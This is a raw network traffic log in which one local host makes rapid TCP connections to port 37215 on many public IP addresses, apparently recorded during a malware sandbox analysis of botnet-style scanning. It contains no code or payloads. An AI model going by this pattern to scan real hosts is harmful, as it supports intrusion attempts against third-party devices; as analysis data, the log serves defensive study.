Sep 25, 2024 14:14:15.599910975 CEST	53598	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:15.600752115 CEST	54004	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:15.601134062 CEST	37215	49290	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:15.601532936 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:15.601532936 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:15.602627039 CEST	50016	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:15.602674007 CEST	37215	60486	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:15.603591919 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.603591919 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.604101896 CEST	54212	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.604309082 CEST	37215	55604	156.59.45.78	192.168.2.14
Sep 25, 2024 14:14:15.605019093 CEST	55306	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.605020046 CEST	40790	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.605041981 CEST	50606	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:15.605041981 CEST	50606	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:15.605065107 CEST	41688	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.605674028 CEST	50666	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:15.606036901 CEST	37215	53598	41.234.48.19	192.168.2.14
Sep 25, 2024 14:14:15.606091022 CEST	60384	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:15.606096029 CEST	42726	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:15.606476068 CEST	40818	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:15.606476068 CEST	40818	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:15.607104063 CEST	37215	49610	197.45.117.209	192.168.2.14
Sep 25, 2024 14:14:15.607287884 CEST	40870	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:15.609321117 CEST	37215	53806	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:15.609999895 CEST	37215	54212	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:15.610011101 CEST	37215	50606	41.59.164.197	192.168.2.14
Sep 25, 2024 14:14:15.610045910 CEST	54212	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.610064983 CEST	54212	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.610178947 CEST	37215	40790	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:15.610189915 CEST	37215	55306	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:15.610199928 CEST	37215	41688	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:15.610220909 CEST	40790	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:15.610249043 CEST	55306	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:15.610320091 CEST	41688	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:15.611293077 CEST	37215	40818	41.118.251.13	192.168.2.14
Sep 25, 2024 14:14:15.615462065 CEST	37215	54212	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:15.615502119 CEST	54212	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:15.617821932 CEST	37215	41280	197.228.42.166	192.168.2.14
Sep 25, 2024 14:14:15.617842913 CEST	37215	40252	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:15.621814013 CEST	37215	57664	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:15.629846096 CEST	37215	56138	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:15.629877090 CEST	37215	54898	156.202.243.110	192.168.2.14
Sep 25, 2024 14:14:15.629887104 CEST	37215	34400	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:15.633893967 CEST	37215	37782	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:15.633904934 CEST	37215	40430	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:15.633913040 CEST	37215	42446	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:15.633922100 CEST	37215	52180	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:15.637855053 CEST	37215	40384	156.137.34.27	192.168.2.14
Sep 25, 2024 14:14:15.637909889 CEST	37215	40998	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:15.637923002 CEST	37215	50886	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:15.637932062 CEST	37215	44252	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:15.637940884 CEST	37215	37148	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:15.638093948 CEST	57602	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:15.638113976 CEST	53890	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:15.638115883 CEST	42008	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:15.638118029 CEST	35846	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:15.641840935 CEST	37215	49290	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:15.641850948 CEST	37215	60642	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:15.641860962 CEST	37215	35854	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:15.642874956 CEST	37215	42008	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:15.642947912 CEST	42008	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:15.642951965 CEST	37215	57602	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:15.642965078 CEST	42008	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:15.643016100 CEST	37215	53890	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:15.643049955 CEST	57602	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:15.643090963 CEST	53890	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:15.643090963 CEST	53890	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:15.643102884 CEST	57602	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:15.645917892 CEST	37215	55604	156.59.45.78	192.168.2.14
Sep 25, 2024 14:14:15.645951033 CEST	37215	60486	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:15.648720026 CEST	37215	42008	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:15.648783922 CEST	42008	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:15.648924112 CEST	37215	57602	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:15.649004936 CEST	57602	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:15.649054050 CEST	37215	53890	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:15.649138927 CEST	53890	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:15.649832010 CEST	37215	49610	197.45.117.209	192.168.2.14
Sep 25, 2024 14:14:15.650007010 CEST	37215	53598	41.234.48.19	192.168.2.14
Sep 25, 2024 14:14:15.653875113 CEST	37215	40818	41.118.251.13	192.168.2.14
Sep 25, 2024 14:14:15.653883934 CEST	37215	50606	41.59.164.197	192.168.2.14
Sep 25, 2024 14:14:15.653892994 CEST	37215	53806	41.39.208.35	192.168.2.14
Sep 25, 2024 14:14:15.670093060 CEST	42888	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:15.670092106 CEST	51318	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:15.670121908 CEST	43546	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.676019907 CEST	37215	42888	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:15.676029921 CEST	37215	51318	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:15.676040888 CEST	37215	43546	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:15.676079988 CEST	42888	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:15.676100016 CEST	51318	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:15.676117897 CEST	43546	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.676127911 CEST	42888	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:15.676237106 CEST	43546	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.676237106 CEST	43546	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.676239967 CEST	51318	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:15.677177906 CEST	43658	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.681952000 CEST	37215	43546	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:15.682159901 CEST	37215	42888	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:15.682173014 CEST	37215	51318	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:15.682213068 CEST	42888	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:15.682219982 CEST	37215	43658	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:15.682231903 CEST	51318	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:15.682279110 CEST	43658	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.682279110 CEST	43658	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.689537048 CEST	37215	43658	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:15.689588070 CEST	43658	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:15.702125072 CEST	48628	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:15.707168102 CEST	37215	48628	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:15.707226038 CEST	48628	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:15.707279921 CEST	48628	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:15.712671041 CEST	37215	48628	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:15.712750912 CEST	48628	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:15.725838900 CEST	37215	43546	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:15.894088984 CEST	60230	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.894088984 CEST	39782	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:15.894088984 CEST	51548	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.894099951 CEST	45668	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:15.894099951 CEST	51466	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.894103050 CEST	58828	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.894117117 CEST	54706	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.894119978 CEST	43670	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:15.894119978 CEST	42572	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.894123077 CEST	56114	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:15.894123077 CEST	59152	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:15.899118900 CEST	37215	39782	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:15.899133921 CEST	37215	60230	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:15.899147034 CEST	37215	58828	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:15.899157047 CEST	37215	51548	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:15.899166107 CEST	37215	45668	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:15.899179935 CEST	37215	51466	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:15.899182081 CEST	39782	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:15.899190903 CEST	60230	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.899199963 CEST	37215	54706	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:15.899200916 CEST	58828	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.899204016 CEST	45668	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:15.899213076 CEST	37215	43670	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:15.899216890 CEST	51548	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.899224043 CEST	37215	42572	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:15.899235964 CEST	37215	56114	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:15.899245024 CEST	51466	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.899246931 CEST	37215	59152	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:15.899261951 CEST	43670	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:15.899286032 CEST	54706	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.899286985 CEST	42572	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.899286985 CEST	56114	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:15.899286985 CEST	59152	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:15.899432898 CEST	39782	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:15.899460077 CEST	60230	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.899460077 CEST	60230	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.899498940 CEST	43670	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:15.899908066 CEST	60300	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.900598049 CEST	51548	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.900598049 CEST	51548	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.900602102 CEST	56114	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:15.901097059 CEST	51632	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.901814938 CEST	58828	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.901814938 CEST	58828	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.902302980 CEST	58912	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.903044939 CEST	45668	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:15.903048038 CEST	59152	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:15.903110981 CEST	51466	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.903110981 CEST	51466	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.903794050 CEST	51564	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.904268026 CEST	37215	60230	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:15.904427052 CEST	42572	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.904427052 CEST	42572	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.904561043 CEST	37215	39782	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:15.904598951 CEST	39782	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:15.904689074 CEST	37215	60300	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:15.904726028 CEST	60300	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.904930115 CEST	42670	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.905405998 CEST	37215	43670	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:15.905497074 CEST	43670	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:15.905597925 CEST	37215	51548	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:15.905668974 CEST	54706	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.905668974 CEST	54706	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.905967951 CEST	37215	51632	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:15.906012058 CEST	51632	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.906193972 CEST	54804	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.906323910 CEST	37215	56114	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:15.906392097 CEST	56114	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:15.906562090 CEST	37215	58828	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:15.907077074 CEST	37215	58912	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:15.907082081 CEST	60300	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.907082081 CEST	51632	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.907119989 CEST	58912	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.907143116 CEST	58912	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.907965899 CEST	37215	45668	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:15.908020020 CEST	45668	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:15.908090115 CEST	37215	51466	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:15.908448935 CEST	37215	59152	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:15.908586979 CEST	59152	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:15.908591986 CEST	37215	51564	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:15.908638954 CEST	51564	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.908673048 CEST	51564	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.909306049 CEST	37215	42572	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:15.909749985 CEST	37215	42670	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:15.909792900 CEST	42670	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.909816027 CEST	42670	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.910435915 CEST	37215	54706	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:15.911212921 CEST	37215	54804	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:15.911257029 CEST	54804	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.911274910 CEST	54804	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.912002087 CEST	37215	51632	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:15.912039995 CEST	51632	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:15.912327051 CEST	37215	60300	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:15.912391901 CEST	60300	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:15.912439108 CEST	37215	58912	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:15.912486076 CEST	58912	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:15.913865089 CEST	37215	51564	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:15.913902998 CEST	51564	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:15.914813042 CEST	37215	42670	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:15.914855003 CEST	42670	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:15.916568041 CEST	37215	54804	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:15.916606903 CEST	54804	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:15.945879936 CEST	37215	51548	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:15.945894957 CEST	37215	60230	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:15.949893951 CEST	37215	42572	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:15.949903965 CEST	37215	51466	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:15.949913979 CEST	37215	58828	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:15.957824945 CEST	37215	54706	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:16.566055059 CEST	35606	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:16.566055059 CEST	44234	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:16.566066980 CEST	52240	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:16.566068888 CEST	37168	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:16.566071987 CEST	46854	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:16.571192980 CEST	37215	37168	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:16.571208954 CEST	37215	35606	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:16.571233034 CEST	37215	52240	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:16.571244001 CEST	37215	44234	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:16.571254969 CEST	37215	46854	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:16.571274996 CEST	35606	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:16.571300030 CEST	44234	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:16.571305037 CEST	46854	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:16.571305990 CEST	52240	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:16.571305990 CEST	37168	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:16.571389914 CEST	63353	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:16.571389914 CEST	63353	37215	192.168.2.14	197.19.250.225
Sep 25, 2024 14:14:16.571392059 CEST	63353	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:16.571393013 CEST	63353	37215	192.168.2.14	41.146.12.74
Sep 25, 2024 14:14:16.571413040 CEST	63353	37215	192.168.2.14	197.252.1.92
Sep 25, 2024 14:14:16.571412086 CEST	63353	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:16.571420908 CEST	63353	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:16.571425915 CEST	63353	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:16.571444035 CEST	63353	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:16.571444035 CEST	63353	37215	192.168.2.14	156.207.45.124
Sep 25, 2024 14:14:16.571440935 CEST	63353	37215	192.168.2.14	197.247.88.188
Sep 25, 2024 14:14:16.571448088 CEST	63353	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:16.571440935 CEST	63353	37215	192.168.2.14	197.87.140.237
Sep 25, 2024 14:14:16.571441889 CEST	63353	37215	192.168.2.14	41.249.114.121
Sep 25, 2024 14:14:16.571441889 CEST	63353	37215	192.168.2.14	41.32.205.70
Sep 25, 2024 14:14:16.571456909 CEST	63353	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:16.571460962 CEST	63353	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.571469069 CEST	63353	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:16.571485043 CEST	63353	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:16.571485043 CEST	63353	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:16.571492910 CEST	63353	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.571494102 CEST	63353	37215	192.168.2.14	156.34.228.152
Sep 25, 2024 14:14:16.571502924 CEST	63353	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:16.571502924 CEST	63353	37215	192.168.2.14	41.143.253.249
Sep 25, 2024 14:14:16.571502924 CEST	63353	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:16.571511984 CEST	63353	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.571523905 CEST	63353	37215	192.168.2.14	156.253.128.61
Sep 25, 2024 14:14:16.571523905 CEST	63353	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:16.571527004 CEST	63353	37215	192.168.2.14	41.196.48.136
Sep 25, 2024 14:14:16.571540117 CEST	63353	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:16.571542978 CEST	63353	37215	192.168.2.14	156.198.105.190
Sep 25, 2024 14:14:16.571542978 CEST	63353	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:16.571546078 CEST	63353	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:16.571553946 CEST	63353	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:16.571557045 CEST	63353	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:16.571557045 CEST	63353	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:16.571563005 CEST	63353	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:16.571563005 CEST	63353	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:16.571563005 CEST	63353	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:16.571568012 CEST	63353	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:16.571569920 CEST	63353	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:16.571579933 CEST	63353	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:16.571582079 CEST	63353	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:16.571587086 CEST	63353	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:16.571604967 CEST	63353	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:16.571605921 CEST	63353	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:16.571605921 CEST	63353	37215	192.168.2.14	41.190.202.32
Sep 25, 2024 14:14:16.571608067 CEST	63353	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:16.571609020 CEST	63353	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:16.571609974 CEST	63353	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:16.571613073 CEST	63353	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:16.571614027 CEST	63353	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:16.571623087 CEST	63353	37215	192.168.2.14	156.176.38.2
Sep 25, 2024 14:14:16.571630955 CEST	63353	37215	192.168.2.14	41.37.125.192
Sep 25, 2024 14:14:16.571630955 CEST	63353	37215	192.168.2.14	41.72.178.249
Sep 25, 2024 14:14:16.571630955 CEST	63353	37215	192.168.2.14	41.141.238.167
Sep 25, 2024 14:14:16.571631908 CEST	63353	37215	192.168.2.14	41.144.87.54
Sep 25, 2024 14:14:16.571644068 CEST	63353	37215	192.168.2.14	197.108.181.12
Sep 25, 2024 14:14:16.571650028 CEST	63353	37215	192.168.2.14	41.210.187.89
Sep 25, 2024 14:14:16.571657896 CEST	63353	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:16.571660995 CEST	63353	37215	192.168.2.14	41.226.68.197
Sep 25, 2024 14:14:16.571670055 CEST	63353	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:16.571670055 CEST	63353	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:16.571672916 CEST	63353	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:16.571680069 CEST	63353	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:16.571680069 CEST	63353	37215	192.168.2.14	41.39.92.181
Sep 25, 2024 14:14:16.571691036 CEST	63353	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:16.571691036 CEST	63353	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:16.571695089 CEST	63353	37215	192.168.2.14	41.62.156.72
Sep 25, 2024 14:14:16.571695089 CEST	63353	37215	192.168.2.14	156.129.79.88
Sep 25, 2024 14:14:16.571717978 CEST	63353	37215	192.168.2.14	156.177.2.6
Sep 25, 2024 14:14:16.571723938 CEST	63353	37215	192.168.2.14	156.146.103.147
Sep 25, 2024 14:14:16.571727037 CEST	63353	37215	192.168.2.14	41.213.183.144
Sep 25, 2024 14:14:16.571727037 CEST	63353	37215	192.168.2.14	197.238.170.215
Sep 25, 2024 14:14:16.571727037 CEST	63353	37215	192.168.2.14	156.111.168.142
Sep 25, 2024 14:14:16.571727037 CEST	63353	37215	192.168.2.14	197.232.197.237
Sep 25, 2024 14:14:16.571732044 CEST	63353	37215	192.168.2.14	41.118.155.56
Sep 25, 2024 14:14:16.571739912 CEST	63353	37215	192.168.2.14	197.115.50.101
Sep 25, 2024 14:14:16.571739912 CEST	63353	37215	192.168.2.14	156.145.53.195
Sep 25, 2024 14:14:16.571754932 CEST	63353	37215	192.168.2.14	197.9.127.179
Sep 25, 2024 14:14:16.571754932 CEST	63353	37215	192.168.2.14	41.238.41.80
Sep 25, 2024 14:14:16.571758986 CEST	63353	37215	192.168.2.14	197.241.203.14
Sep 25, 2024 14:14:16.571759939 CEST	63353	37215	192.168.2.14	156.167.189.8
Sep 25, 2024 14:14:16.571759939 CEST	63353	37215	192.168.2.14	197.85.195.224
Sep 25, 2024 14:14:16.571779013 CEST	63353	37215	192.168.2.14	156.37.19.32
Sep 25, 2024 14:14:16.571783066 CEST	63353	37215	192.168.2.14	41.53.75.141
Sep 25, 2024 14:14:16.571783066 CEST	63353	37215	192.168.2.14	41.127.189.107
Sep 25, 2024 14:14:16.571783066 CEST	63353	37215	192.168.2.14	41.161.8.101
Sep 25, 2024 14:14:16.571783066 CEST	63353	37215	192.168.2.14	197.186.168.13
Sep 25, 2024 14:14:16.571789026 CEST	63353	37215	192.168.2.14	197.178.88.120
